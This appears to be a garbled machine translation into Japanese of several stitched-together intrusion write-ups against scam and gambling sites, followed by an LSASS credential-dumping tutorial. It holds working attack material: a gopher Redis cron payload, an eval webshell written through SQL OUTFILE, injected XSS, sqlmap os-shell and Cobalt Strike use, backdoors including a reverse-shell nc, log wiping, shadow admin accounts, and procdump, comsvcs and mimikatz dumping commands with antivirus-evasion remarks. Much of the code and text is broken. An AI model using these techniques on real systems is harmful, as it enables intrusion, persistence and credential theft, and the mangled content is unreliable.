25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%31%25%37%37% 31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png [/img] formhash=017b5107

しかし、ペイロードは、Discuzが提供するXSSおよびSQLインジェクション保護によって傍受されたことがわかりました。

Image

したがって、ペイロードはVPSでのみ記述できます。

?php

$ ip=$ _ get ['ip'];

$ port=$ _ get ['port'];

$ scheme=$ _ get ['s'];

$ data='_ flushall%0d%0aconfigset dir/var/spool/cron/%0d%0aconfig set dbfilename root% /566701 \ n \ n '%0d%0asave%0d%0aquit%0d%0aquit%0d%0a';

Header( 'Location: $ scheme: //$ ip: $ port/$ data');

VPSのRedisを成功させることができる/forum.php?mod=ajaxaction=downremoteimgmessage=[img=1,1] http://62.1.1.1/302.php?s=gopher%26IP=62.1.1.1.1.1.1 %26ポート=637999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999」

Image

問題ない。ただし、実際の環境では使用率が失敗しました。その理由は不確実であり、Redisがない、Redis許可の不足、またはパスワードがあることが可能です。

イントラネットを検出するためにスクリプトを書き始めましたが、あまり希望がありませんでした。 Google Cloudであり、必ずしもイントラネットを持っているわけではありません。

すべてのイントラネットIPSのIP辞書が作成されています

f=open( 'ip.txt'、 'w')

f.write( '127.0.0.1')

f.write( 'localhost')

範囲のI(1,256):

ip='192.168。'+str(i)+'。1'

F.Write(IP)

範囲(16,32):のIの場合

IIインロン(1,256):の場合

ip='172。'+str(i)+'。'+str(ii)+'。1'

F.Write(IP)

範囲のI(1,256):

IIインロン(1,256):の場合

ip='10。 '+str(i)+'。 '+str(ii)+'。1 '

F.Write(IP)

f.close()

次に、時間遅延を使用してイントラネットIPセグメントを見つけます。ここでは、IPブロッキングの遅延は7秒以上であるため、複数のスレッドを使用して完了する必要があります。 IPのプロトコルがあるかどうかを検出しても問題ないため、Gopherを使用してRedisのペイロードを直接攻撃するだけです。

リクエストシムポートスレッディングDEF SSRF(i): url=をインポートします'https://x.com/forum.php?mod=ajaxaction=downRemoteimgmessage={'user-agent':'mozilla/5.0(Windows nt 6.1; win64; x64; rv336079.0)gecko/20100101 firefox/79.0'、 'Accept':itext/html、application/xhtml+xml 'Accept-Language':' zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 '、' accept-encoding': 'gzip、deflate'、 'connection'、 'cookie={'PNUE_2132_SALTKEY':'VX3WOD3T'、 'PNUE_2132_AUTH':'8B46%2F9AD2X2XYFYESVQ aytdhs%2fvwrzigqlwce3iar6aiwux8ragrp%2bgrkmv39ylno2gaifhep01aghxapi0ocyxirnkx '} r=requests.get(url、cookie=cookie、headers=header、aople_redirects=false)r.elapsed.total_seconds()6: timeout=str(i)+'port3360'+str(r.elapsed.total_seconds())他の:タイムアウト=印刷str(i)+'port3360'+str(r.elapsed.total_seconds())fo=open( 'openip.txt'、 'a') threading.thread(target=ssrf、args=(i、)))name.append(th)th.start()for th inaname: th.join()folist=open( 'ip.txt'、 'r')list=[] flag=0 for i infolist.readlines(): i=i.Replace( '' ') list.append(i)flag=flag+1 else:スレッド(リスト)フラグ=0 list=[]オープンゲートウェイのみが見つかります172.30.2.1は、このゲートウェイでイントラネットIPを実行し、IP.TXTを置き換えます。

Image

その結果、1日走った後、私は2つのイントラネットIPS、172.30.2.1と172.30.2.2のみを使い果たしました。確率は、172.30.2.2それ自体が、172.30.2.1がクラウドサーバーの仮想ゲートウェイであることです。

最後に、FTPプロトコルを使用してポートを実行し、スクリプトを自分で変更するだけです。

Image

それらのほとんどは誤ったアラームであり、実際には2つのポート80と443のみを開くため、他のイントラネットIPが後で見つからない限り、SSRFは予想されません。

最後のUC_Serverブラストは、XFFヘッダーを変更してグラフィック検証コードを修正することであり、使用が失敗します。詳細については、https://www.freebuf.com/articles/web/197546.htmlを参照してください

フォーラムは終わりました。カスタマーサービスシステムの何が問題なのか見てみましょう。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288888884f7d0227f

IDパラメーターが渡され、ディレクトリを交差できません。ファイルのアップロードを使用できないため、ディレクトリスキャンを開始します。

Image

管理者ログインインターフェイスにはスライダーの検証がありますが、フロントエンドからの詐欺であり、バックエンドでは役に立たないため、爆発しようとすることは実りがありません。

表示/アクチュエータを表示すると、Spring Bootであり、ターゲット辞書を使用して爆破します。

/swagger-ui.htmlはempty、 /envジャンプadmin、 /heapdump 403です。

しかし、私は/heapdump.jsonからそれを試してみました

Image

1Gメモリファイルを解凍し、メモリアランライザーを使用して開き、OQLをクエリします。

/envとの協力はないため、構成情報を盲目的に確認することができます。ここに私が理解したいくつかのヒントがあります。

select* from org.springframework.web.context.support.standardservletenvironment Check構成から、保持されたヒープ(サイズ)のソートに注意してください。

Image

[Java.lang.Stringから*から*を選択します。この検索方法は、関連するクラスを簡単に見つけることができませんが、ログインレコードなどをすばやく見つけることができます。パスワードをhttp://に置き換えると、いくつかのURLを見つけることができます。

Image

java.util.hashtable $ entry x from java.util.hashtable $ entry x Where(toString(x.key).contains( 'username'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'password'))select* from java.util.hashtable $ x (toString(x.key).contains( 'url'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'url'))データベース関連情報をすばやく確認し、MySQLアドレスアドレスアカウントパスワードを見つけました。ただし、残念ながら、AmazonのデータベースにはデフォルトでIPホワイトリストがあり、リモートでログインできません。

Image

select*from java.lang.string sは、 '。*session。*'のようなtoString(s)がログインしていることを発見し、交換後に背景にログインします。

Image

背景は、リアルタイムの会話にWSSSプロトコルを使用しており、アバターとカスタマーサービスの返信に使用率はありません。有毒な犬のいくつかの嘆きだけが見つかりました。

Image

ブラックボックステストは実りがありませんでした。 Heapdumpで注目のクラス名を検索してから、Githubで検索しました。ソースコードのコピーを初期バージョンである可能性があり、ターゲットは改訂版でしたが、ソースコードはそれほど完全ではありませんでした。

Image

不完全なコードを監査し、任意のファイルの読み取りとSSRFを見つけます。

Image

Image

Image

いくつかのソースコードを使用すると、構成ファイルの場所を知っていて、構成ファイルを読み取ります

Image

もちろん、以前にデータベース構成を取得します

0x00問題の原点

图片

图片

图片

物語を理解した後、私の経験の後、これは豚の殺害事件であるべきです

詐欺師は、何らかの手段を使用して、犠牲者にお金を稼ぎ、充電を誘発し、豚をギャンブルに殺すことができることを納得させる

0x01ペノシスプロセス - 約20分で削除されました

浸透プロセスはシンプルで退屈です:

IPとポートを見た後、私はクラウドWAFがないはずだと判断したので、ディレクトリを直接スキャンし始めました

数分後、http://xxxx.com.cn/u.phpをスキャンしました。下の図に示すように、それはupupwの統合環境であることが判明しました

图片

图片

アイデア、PHPMYADMINを爆発させる、またはupUPWのデフォルトのデータベースパスワードを見つけるには、最初に試してみてください

图片

システムによって提供されたパスワードで正常にログインしましたが、デフォルトは次のとおりです。DRSXT5ZJ6OI55LPQはPHPMYADMINで正常にログインしました

图片

次に、GetShellを試してみてください。 upupwプローブがあるので、phpinfoとウェブサイトへの絶対的なパスを直接表示しました。 UpupWプローブのため、私は定期的にシェルを直接書き込もうとしました。

絶対パス、データベースルートアクセス許可、およびデータベースの書き込みアクセス許可を知る必要があります。具体的なステートメント: '?php eval(@$ _ post [' xx ']);'を選択しますOutfile 'd: \\ wap \\ member_bak.php'注:windowsの下では、二重のバックスラッシュが必要です。そうしないと、逃げて、キッチンナイフ/アリの剣やその他のリンクを使用します。当時スクリーンショットがなかったため、ウェブサイトを開くことができないようになるため、シェルを取得した後、以下は直接ステータスをリリースします。

图片

侵入は終了しました。私は権限を見ました。それはシステムの権限でした。しかし、私たちの目標は、詐欺師のIP情報と位置情報を見つけることでした。そして、次のステップは

0x02詐欺師のポジショニングポート

シェルを取得する方がはるかに簡単です。背景にログインされているPHPファイルを見つけて、XSSコードを挿入してください。

图片

しばらく検索した後、バックグラウンドログインが別のWebサイトディレクトリにあることがわかりました。

echo'scriptsrc=https://xx.xx/xfxx/script ';詐欺師がログインするのを待っています

图片

私は実際に携帯電話、666でログインしています

クッキーをバックグラウンドにログインするために交換しますが、役に立たないことがわかりましたが、ほんの数字でした。

图片

IPIP.NETに移動して、IPアドレス情報を確認します。偶然ではありません、私は確かに再び海外にいました。悲しいかな.

图片

0x03ファンに結果を知らせます

プロセス中に、私は被害者とWeChatチャットの記録を直接投稿しました。

图片

图片

图片

图片

图片

图片 图片

图片

0x04そのような詐欺を防ぐ方法

1.オンラインで友人を作るときは、詐欺防止の認識を改善し、良好な社会的メンタリティを維持し、特に金融取引に関しては個人のプライバシー情報の保護に注意を払う必要があります。複数のチャネルを使用して、相手の真のアイデンティティを必ず確認してください。

2.インターネットでの財務を投資して管理することを伴い、高いリターンを持っている人は誰でも詐欺と見なされます。

3.詐欺師は、友人のサークルの投資収益性に関する情報を常に共有して、被害者を引き付けて相談するイニシアチブを取得します。

4.被害者にプラットフォームの登録を誘導し、資金を投資します。被害者が利益を見て現金を引き出すことを望んだとき、プラットフォームは預金の要求、必要に応じて通知の失敗、アカウントの凍結、税金など、被害者の銀行カード番号の理由でお金を誘い、詐欺を犯し続けました。

5.投資と財務管理の正しい見解を維持し、リスクのないがリターンの投資方法を盲目的に信じていないので、空から落ちるパイはありません。

元のリンクから転載:https://mp.weixin.qq.com/s/7o4xv8mkbx3wct3zxbcmng

i。序文

最近、特定のQipai製品で構築されたWebサイトにはSQLインジェクションがあり、誰かがそれを送ったばかりだと聞きました。xctxkrcxje42283.png

慣習的なルーチンの侵入、シャトル情報収集- 脆弱性の検出/利用- 特権の引き上げ/承認のメンテナンス - クリーントレース

2。情報収集

kszgqsfuj5j2284.pngブラウザはホームページの予備的な発見システムにアクセスします:Windows Middleware IIS7.5言語:ASPX

ポートスキャンNMAP -SV -T4 -P- 11x.xx.xx.xx.xx 5zy4ekewruu2285.pngには多くのオープンポートがあります。その中には、いくつかのWebサービスがあります:80(現在のホームページ)、81、82、88、4700181:これはこのQipaiサイトのバックエンドです。 82:バックエンドでもあります。どんなシステムなのかわかりません。確認コード88/47001があります:アクセスに失敗しました

1433:データベースMSSQL

また、139と445を開きましたが、フィルタリングされました。ファイアウォールがあるかどうかはわかりませんので、後で見ます。

dirsearchを使用して、敏感なディレクトリを最初にスキャンします。以前に収集されたウェブサイト言語はASPX、プラス-E指定言語です

python dirsearch.py -u http://11x.xx.xxx.xx-e aspx cccws02apbk2287.png再び7kbscanを使用します。結局のところ、ここで収集された辞書は中国人によって一般的に使用されています

5enudtjvnlv2289.png/m/はユーザー登録ページです。

amnkabgudz42290.png/test.htmlは、WeChatを調整するための入り口です。役に立たない。被害者が携帯電話でチャットするように導くかもしれません。

efkkbz110d12292.png北京の特定のオペレーターのIPサーバーを確認します。国内のサーバーにWebサイトを構築することは非常に大胆です。

jtva1t55e0d2293.png情報並べ替えymptqk21pcz2295.png

おそらく自分で構築された小さなサイトです。時間を無駄にしないように、新しいものを拡張して収集することはありません。

iii。脆弱性検出

以前に見つかった81ポートに焦点を当て、ウェブサイトのバックエンド管理ページです

shbv1f0njqr2296.png検証コードなし、ユーザー名/パスワード用に管理者/管理者を書くだけで、パッケージをつかみます

5rhocro4vhn2297.pngユーザー名には見積もりがあり、エラーを返すように直接リクエストを送信しました。予期しないことが起こっていない場合は、エラーインジェクションまたはブラインドノートが必要です。

vk51u41gbap2298.pngこのデータパケットをローカルQipai.txtに保存するための2つのグループを分離し、SQLMAPを使用してスキャンします。MSSQLデータベースであり、-DBMSパラメーターがデータベースタイプを指定して時間を節約することはすでに知られています。

python sqlmap.py -r qipai.txt - dbms 'microsoft sql server' - dbs別の方法で、パッケージを侵入者モジュールに送信してパスワードを爆発させます。ブラウザにユーザー名を何気なく入力しようとしましたが、プロンプト「ユーザー名は存在しません」。管理者を入力すると、「ユーザー名またはパスワードが間違っている」というプロンプトが存在することを示し、パスワードを破裂させただけです。

xwwhislhjjo2299.pngパスワードは888999、弱いパスワード、永遠の神です!

バックグラウンドに正常にログインgayxm4aahp02300.png

登録ユーザーは69人しかなく、残りはすべてロボットです。これらの69人のユーザーは143万人に急行しましたか? Qipaiを演奏するすべての人はとても金持ちですか?私は最初の充電のために6元を請求することに耐えられないことをとてもうれしく思います

ykvftk1nhiq2301.pngギャンブルに参加できない、この男は1日で2800を失いました

o0prruwsosb2302.png長い間バックグラウンドで検索した後、アップロードポイントが見つからなかったので、最初に置きました

他のsqlmapに戻ってチェックアウトし、注入があることを確認してください。

j0h5kkc0l2o2303.pngは16のライブラリを使い果たしました。名前によれば、ryplatformmanagerdbライブラリには、管理者関連の情報が含まれている場合があります。

oi2e0ji5wjg2304.png実行時計名

python sqlmap.py -r qipai.txt - tables -d ryplatformmanagerdb 1s4w5nlu4ak2305.png長い間検索した後、私は管理者のアカウントとパスワードを見つけました。

python sqlmap.py -r qipai.txt -is-dba xbmlrzfckvl2306.pngはDBA許可です。シェルを取得してみてください。SQLMAPを使用してMSSQLデータベースのパスを直接爆破するだけです

python sqlmap.py -r qipai.txt- OS -shellが使用する死角は遅く、長い間待った後、最終的にシェルを手に入れました。それは表面上の技術的な仕事ですが、実際には物理的な仕事です

現在のユーザー許可は非常に小さく、MSSQLデータベースの許可だけです

hhjun2lg1xz2307.png

SystemInfoシステム情報を確認すると、システムが64ビットWindows Server 2008であることがわかります

Cobaltstrikeは攻撃ペイロードを生成し、ターゲットマシンにPowerShellでロードします。ターゲットマシンが正常に起動されます

bycpu3ksouw2308.png

ネットユーザービューユーザー

3yin4kn2i2c2309.pngTASKLIST表示プロセス、ソフトを殺すふりをするべきではありません

dmac4a3yutv2310.png

ネットスタートの有効なサービスを表示すると、ファイアウォールが有効になっていることがわかります。したがって、以前のNMAPスキャン445およびその他のポートがフィルタリングされています

xzka2n1f3d52311.pngファイアウォールを閉じて、右はまだ上がっていません

ej3tjqdj4dv2312.png

iv。権利を引き上げる/weiの権利

このマシンはWindows Server 2008であることを以前に学んだので、ジャガイモを使用して権利を増やそうとしました(MS16-075)

xou4kdhiu5l2313.png実行後、しばらく待ちました。私は幸運でした。マシンはパッチを適用されず、当局は一度に成功裏に提起されました。私はシステムの権限を取得し、自分が望むことを何でも始めました。

klqjr4dli452314.pngファイル管理を入力すると、以前の情報が収集されたときにtest.htmlファイルを見ることができます。

zsmpakxivv12315.pngNETSTAT -ANOポートオープニングの状況をチェックしてください、3389が開かれていません

a0kwytr32mr2316.png

手動でオンにします

tiaytfonaad2317.pngリモートデスクトップにアクセスできます

twgenv2r21i2318.pngCOBALTSTRIKE私はそれを操作するのにあまり熟練していないので、MetaSploiteを使用してCSを介してMSFによって生成された馬をアップロードする必要があり、MSFは監視を可能にします

注:CSはシェルをMSFに直接導き出すことができますが、長い間試してみてセッションを返さないので、MSFの馬曲線をアップロードして国を救う以外に選択肢がありませんでした。

lzkxzk4kmx22319.pngMSF監視を有効にします

1dy203ssbjl2320.png CSでアップロードされた馬を実行します

itr45e0lxd12321.pngMSFシェルが正常に取得されました。

c5m5r2msdsm2322.pngパスワードハッシュを見る、MSFの馬は32ビットで、システムは64ビットであるため、取得できません

vjojv33nrkt2323.pngPSプロセスを表示し、プロセスでシステムの許可を得て実行されている64ビットプログラムを見つけてから、プロセスを移行した後にハッシュを取得します15oj4hcf1nf2324.png

オンラインでハッシュをクラックするWebサイトに移動して、管理者のパスワードを確認します。パスワードは複雑ではなく、数秒で見つけることができます。

4azfylwyykg2325.pngSUCCESSISSEESTISSESSEESTISE SUCTESSISTESTESTERTERIME LOGNETERITE DESKTOP

hlzj2ku2tvz2326.pngリバウンドシェル用の2つのバックドア、1つのウェブシェル、1つのセルフスタートNCを残してください

l4hemd3jdao2327.png

5。トレースをクリーンアップしてリトリート

MeterPreterのClearVコマンドは、ワンクリックでクリアされています

cquedrsv3zp2328.png

または、Windowsログを手動で削除します

1n2s45jksq02329.png

six.summary

cboqdascfry2330.png

7。実験的推奨

SQLMAPを使用した手動注射

https://www.hetianlab.com/expc.do?ec=ecid172.19.104.182015011915533100001pk_campaign=freebuf-wemedia

この実験の研究を通じて、SQLMAPを理解し、一般的に使用されるSQLMAPのコマンドをマスターし、SQLMAPを使用して注射を手動で支援することを学ぶことができます。

元のリンクから転載:

https://www.freebuf.com/articles/network/250744.html

私は多くのQP(チェスとカード)を作り、BCは浸透しました。私は一晩中2泊し、いくつかの皿を飲みました。私はこのプロセスについて簡単に話し、それを要約しました。

最初にQPについて話させてください。私の侵入の成功ケースを例にとると、まず第一に、情報収集が不可欠です。 QPの特徴は何ですか?

彼の背景は、図に示すように、サーバードメイン名の背後にあるさまざまなポートにセットアップされます。

图片

ポートに関する基本を見つけることができます。

エントリポイント:

アプリでSQLインジェクションまたはフィードバックの場所を見つけるXSS

パケットキャプチャが127.0.0.1を示し、パケットをキャッチできない状況があります。この状況は大きなプレートの状況を超えており、必ずしもTCP UDPプロトコルに従うとは限りません。 T-ICEで言及されているプロキシフィアグローバルプロキシを参照できます

背景があったら、それを曖昧にすることができます。一部の管理者はバックアップの習慣を持ち、新しい発見をする可能性があります。

比較的言えば、QPは非常に簡単です。

BCについて話して、昨夜の浸透の事例を見てみましょう。

图片

基本的に、大きなBCプレートにはさまざまな保護+ CDN標準が装備されています。結局のところ、他の人は、それほど多くのお金を稼いだ後、この小さなデバイスのお金を気にしません。

图片

图片

アカウントを登録し、XSSに電話する場所がないことがわかりました。停止

この種の大規模なサービスは一般的に非常に優れているため、ナビゲーションやポイントモールなど、あらゆる面でカードは非常に寛大です。

乱雑なものがあるはずです。メインサイトのVIPクエリページでは、SQLインジェクションであり、ThinkPHPフレームワークです。

图片

图片

图片

Thinkphp3.2.3、実際のIPを知らないCDNがあるため、背景は非常に面倒なものです。私はもともと、データベースのログに発見があるかどうかを確認したかったのです。

图片

图片

鳥に使用するために何もありません。ログファイルを読んでみてください。

图片

最後に、構成ファイルを読むと、非常に愚かなものが確認されました。

たぶん一晩後、人々の心は少し硬いです。

この種のBC背景を分離する必要があることを忘れていました。こんにちは。遅くまで起きてください。

それから。以前のエクスペリエンスに基づいて、いくつかの可能なパラメーターをメインドメイン名に手動で追加しました。 admin.xxxx.com AGDW。

0x00はじめに

昨年、私はウェイブで買い物をしていました。私はもともと、私のトレース能力を練習するためにいくつかのIPを見つけようとしていましたが、私は誤って豚の殺害ディスクを発見しました。この記事に不足している部分がある場合は、時間内にそれらを指摘してください。このターゲットを再び登場するために私を見つけてワイブに行かないでください。このケースは、完全に担当者に引き渡されました。

0x01簡単なレシピ

Image

リンクを開いたとき、強い「マイクロディスク」オーラがやってくるのを見ました。この一連のソースコードを自分で監査していたので、対応する場所を直接見つけてXSSと呼ばれます。その結果、マイクロディスクが3オープンしたことが判明しました。はい、3オープンしました!

必死になって、私はまだ古いアイデアを使用し、フレームワークレポートをエラーにし、バージョン番号を見て、RCEを通過する方法を見つけます。

Image

バージョン番号と物理的なパスを取得すると、実際には詳細があります。下の写真を見ることができます。

Image

これがserver_nameとserver_addrです。以前に同様のプロジェクトに取り組んでいた状況に遭遇しました。ページのレポートにエラーがあることに応じて供給された2つの情報には、実際のIPが含まれている可能性があります。ターゲットリアルIPが見つからない場合は、このトリックを試すことができます。

誰もが、そのようなターゲット、他のサイドステーション、港、その他のコレクションが役に立たないことを知っているので、詳細は説明しません。

アカウントを登録して見ました。それを使用する意味はありませんでした。この時点で、私は突然、商品/PIDに注入があったことを思い出しました。私たちは以前にそれを打つために私たち自身の日を使ったので、私はこの注入ポイントを使用したことがありませんでした。今日は試してみます。

Image

ビンゴ!これは非常に厄介です。物理的な道を知っているなら、シェルを渡すことができますか?いいえ、それは不可能であり、十分な権限がありません。

しかし、私が見つけたものを見てください!

Image

データベース情報は不可解に表示されているので、直接接続できますか?明らかにそうではありません。なぜなら、外部から接続できないからです。

0x02正しい

膠着状態は約10分間続きました。私が見つけたものを見てください。

Image

ハハハ管理者、どうやってこれを見つけたの?前に、このシステムの最初と2番目のオープニングを監査したことを前に述べました。特定の特定のディレクトリにこのような管理者データベース管理システムがあるので、このターゲットからもファズになり、それを見つけてから接続します。

疑わしいIPを見つけ、信頼性、位置決めなどを確認してください。

Image

案の定、それは再び私たちの大雲母にあります。

証拠の完全性を確保するために、私たちはまだ背景に写真を撮る方法を見つけなければなりません。私は今カレーにいるので、ブラインドヒットXSが成功しない場所を強制することができ、XSの支払い負荷を強制してから、カスタマーサービスを引き起こすように誘導できます。

Image

Image

Image

それから私は入りました。バックグラウンドアップロードポイントは3番目のバージョンで削除されました。データベースのシェルアクセス許可は十分ではなく、必要なサービスを有効にできなかったため、最終的にシェルを取得できませんでした。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg4mjcxmtawmq==mid=2247486198Idx=1Sn=e41bc5d7e4aee7314beaab7f5830435dchksm=CF53Ca4 0F8244356493DFF79A82E26A8C3EF89C50C4508DE61CACF523527534D383E6D6B24445SCENE=178CUR_ALBUM_ID=28315116888864565656580#RD

序文

昨日の真夜中に記事を見ました。

私は自分のスキルを練習していたと思っていましたが、戦いの途中で、マスターはすでにそのような場所を傷つけていることがわかりました。それで、私はマスターの経験から学び、いくつかのエクササイズをして、自分が考えたことは何でも記録しました。そのため、執筆は非常に複雑で、解決策があるかどうかも記録しました。それから私はサイトを変更し、歩き続けました。

情報収集

フロントデスクはこのようなものです

Image

他の情報を見てください

Imageポートクエリ

Image80はメインページ8182です。

Imageカタログのトラバーサル

Image

脆弱性の発見

最初にバックエンドページに移動します

ユーザー名の入力:123プロンプスユーザーが存在しないプロンプトユーザー名を入力します:管理者プロンプトユーザーまたはパスワードが間違っています

管理アカウントを確認すると、確認する検証コードがありません。

直接弱いパスワード管理者123456背景を入力します

Image多くの機能はありませんし、使用するものは何もありません

ログインに戻ってSQLインジェクションを実行します

Image ImageMSSQL、DBA許可、Direct –OS-Shell

Imageここでの最初のマシンはネットワークを離れず、エコーしませんでした。私はあきらめました。いくつかのサイトを検索した後、私はついにリリースされてエコーされたウェブサイトを見つけました(リリースされている限り簡単に解決できました)。

Image

Image

csはオンライン

です

ここでCSを試して、ネットワークがPowerShellをオンラインで直接生成すると判断します

Image Image Image情報を確認し、タスクリストを確認してください

Image現在、それはデータベースの許可です。私は当局を増やそうとしましたが、それは直接切断され、ウェブサイトを開くことができませんでした。注意して使用し、十分な情報を収集し、十分なパッチ情報を収集する必要があります。

Image別のサイトが変更されました。ウェブサイトパスを見つけます

Image最初にウェブシェルを入手してください

ImageGodzillaのサツマイモはシステムに昇格しています

ImageCSプラグインのサツマイモも、権利を正常にアップグレードしました

Image

管理者のパスワードをつかみます

logonpasswords

有料

ImageADDシャドウアカウント、管理者の権限を追加する

Image

パブリックネットワークCSは、FRPを介してイントラネットMSFに行きます

最初の投稿、FRP+CSはローカルKaliシェルを実装します

サーバー(ここは5000です。変更後にスクリーンショットを撮るのを忘れていました)

Imageクライアント

ImageMSF監視を可能にします

ImageCS

Image

後続

トークンを盗んで管理者としてログインできるかどうかを確認してください

getuid //現在のトークン・インコグニットを見る

序文

lsass.exe(ローカルセキュリティ局のサブシステム

サービスプロセススペースには、マシンのドメイン、ローカルユーザー名、パスワードなどの重要な情報があります。ローカルの高権限を取得すると、ユーザーはLSASSプロセスメモリにアクセスできるため、水平の動きと許可エスカレーションのために内部データをエクスポートできます。 LSAを介したユーザーパスワードまたはハッシュのダンプも、浸透プロセスに不可欠なステップです。ここでは、原則を学び、さまざまな投棄方法を記録します。

[TOC]

一般的な方法

mimikatz :: logonpasswords

通常、これらのツールをLolbinsと呼びます。つまり、攻撃者はこれらのバイナリを使用して、元の目的を超えて操作を実行できます。 Lolbinsでメモリをエクスポートするプログラムに焦点を当てています。

ホワイトリストツール

3つのMicrosoft Signature Whitelistプログラム

procdump.exe

sqldumper.exe

createdump.exe

procdump dump lsass.exeのメモリ

Procdumpは、プロセスメモリの投棄用に提供されるMicrosoft署名された法的バイナリファイルです。 Microsoftドキュメントで公式Procdumpファイルをダウンロードできます

ProcDumpを使用して、LSASプロセスDMPファイルをつかみ、

procdump64.exe -accepteula -ma lsass.exe lsass_dump

その後、使用するMimikatzを構成できます

sekurlsa:3360minidump lsassdump.dmp

sekurlsa:3360logonpasswords

lsass.exeに敏感な場合は、lsass.exe pidで使用することもできます。

procdump64.exe -accepteula -ma pid lsass_dum

この原則は、LSASS.EXEはWindowsシステムのセキュリティメカニズムであり、主にローカルセキュリティおよびログインポリシーに使用されるということです。通常、システムにログインするときにパスワードを入力した後、パスワードはlsass.exeメモリに保存されます。 2つのモジュールをWDigestとTSPKGを呼び出した後、可逆アルゴリズムを使用して暗号化され、メモリに保存されます。 Mimikatz LSASS.EXEの逆の計算により、プレーンテキストパスワードを取得します。

検出と殺害の状況に関して、トルブリンウイルスはスキャンされず、360は13バージョンでは検出されず、14バージョンで検出されたことがわかりました。

sqldumper.exe

sqldumper.exeユーティリティはMicrosoft SQL Serverに含まれています。 SQL Serverのメモリダンプと、デバッグ目的で関連プロセスを生成します。

Sqldumperへの一般的なパスは次のとおりです

C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe

C: \ Program Files \ Microsoft Analysis Services \ as oledb \ 10 \ sqldumper.exe

c: \プログラムファイル(x86)\ microsoft sql server \ 100 \ shared \ sqldumper.exe

sqldumper.exeは、完全なダンプファイルを生成するためにMicrosoft SQLおよびOfficeに含まれています。

TaskList /SVC | findstr lsass.exe lsass.exeのpid数を表示します

sqldumper.exe processid 00x01100エクスポートmdmpファイル

次に、局所的に復号化すると、同じバージョンのオペレーティングシステムを使用する必要があります。

mimikatz.exe 'sekurlsa:minidump sqldmpr0001.mdmp' 'sekurlsa:3360logonpasswords full' exit

360に殺されたタントレンは検出されませんでした

createdump.exe

.NET5の出現により、それはネイティブバイナリ自体です。署名はありますが、AVによって調査され殺されました。

createdump.exe -u -f lsass.dmp lsass [pid]

360によって殺されます

comsvcs.dll

comsvcs.dllは、主にCOM+サービスサービスを提供しています。このファイルはすべてのWindowsシステムで見つけることができ、プロセスの完全なダンプをrundll32を使用して実装して、エクスポート機能minidumpを実行できます。

このファイルはホワイトリストファイルです。主にcomsvsc.dllのエクスポート関数Apiminidumpを使用して、lsass.exeをダンプする目的を達成します。管理者の権限も必要であることに注意してください。 Sedebugprivilegeの許可を有効にする必要があるためです。 CMDでは、この許可はデフォルトで無効になり、PowerShellはデフォルトで有効になります。このファイルは、c: \ windows \ system32 \ comsvcs.dllにあります

次の方法を使用してMinidumpを呼び出してダンピングlsass.exeプロセス:を達成できます

PowerShell C: \ Windows \ System32 \ rundll32.exe C: \ windows \ system32 \ comsvcs.dll、minidump(get-process lsass).id $ env:temp \ lsass-comsvcs.dmp full

360もチェックして殺します。 Apiminidumpを呼び出すことでメモリを直接投棄するこの動作は、依然としてあまりにも敏感です。わずかな変更なしでチェックして殺されるのは簡単です。

他のツール

rdleakdiag.exe

デフォルトの既存のシステム:

Windows10 Windows8.1Windows8 Windows7 WindowsVista

ソフトウェアバージョン10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000

そのようなものがない場合は、渡すことを選択できます。

DMPメモリファイルを生成します

rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 rst

結果*+プロセスpid+.hlk、minidump*+プロセスpid+.dmpの2つのファイルが生成されます。次に、Mimikatzを使用して割れます。

avdump.exe

avdump.exeは、Avast Antivirusソフトウェアに付属するプログラムです。指定されたプロセス(lsass.exe)のメモリデータをダンプするために使用できます。 Avast Anti-Soft Digital Signatureが付属しています。したがって、一般的にAVによって殺されません。

住所をダウンロード:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2

PSで呼び出す必要があります。そうしないと、CMDはデフォルトでSedebugprivilegeの許可を有効にしませんが、360はAvdumpを検出します。\ avdump.exe - pid lsass pid -exception_ptr 0 -thread_id 0 - dump_level 1 - dump_file c: \ uses \ admin \ desktop \ lsass.dmp - min_interval 0

しかし、それは360によっても殺されます。

所有者の編集dll

apiminidumpを呼び出すデモ

これには、Windowsプロセスプログラミングが含まれます。まず、Windowsの下でプロセスを通過する方法を確認できます。プロセスを横断するには、いくつかのAPIと構造が必要です。

1.プロセススナップショットを作成します

2。通過する最初のプロセスを初期化します

3。次のトラバーサルに進みます

4。プロセス情報構造

createToolHelp32SNAPSHOTを使用してプロセスを作成します

winapi createToolhelp32Snapshot(

dword dwflags、//「スナップショット」で返されるオブジェクトを指定するために使用されます。これは、th32cs_snapprocessなどです。

dword th32processid //プロセスID番号を使用して、スナップショットを取得するプロセスを指定します。システムプロセスのリストを取得したり、現在のプロセスのスナップショットを取得したりする場合、0に設定できます。

);

Process32Firstを使用して最初のプロセスハンドルを取得します

bool winapi process32first(

HSNAPSHOT、//_ in、プロセススナップショットハンドル

lpprocessentry32 lppe //_ out、プロセス情報構造を渡すと、システムはあなたのためにそれを埋めます。

);

Process32Nextを使用して次のプロセスを取得します

bool winapi process32next(

hsnapshotを処理し、createToolHelp32SNAPSHOTから返されたハンドル

LPPROCESSENTRY32 LPPEポインターへのProcessEntry32構造、プロセス情報構造

);

また、ProcessEntry32の構造が私たちに役立つものも含まれます。

初期化構造のDwsizeサイズTh32ProcessIDプロセスIDSZEXEXEFILE [MAX_PATH]プロセスパスtypedef struct tagprocessentry32 {

dword dwsize; //構造サイズは、最初の呼び出しの前に初期化する必要があります。

dword cntusage; //このプロセスの参照カウントは0です。プロセスは終了します。

dword th32processid; //プロセスID;

dword th32defaultheapid; //デフォルトのヒープIDを処理します。

dword th32moduleid; //モジュールIDを処理します。

dword cntthreads; //このプロセスが開くスレッドのカウント。

dword th32parentprocessid; //親プロセスID;

長いpcpriclassbase; //スレッドの優先順位;

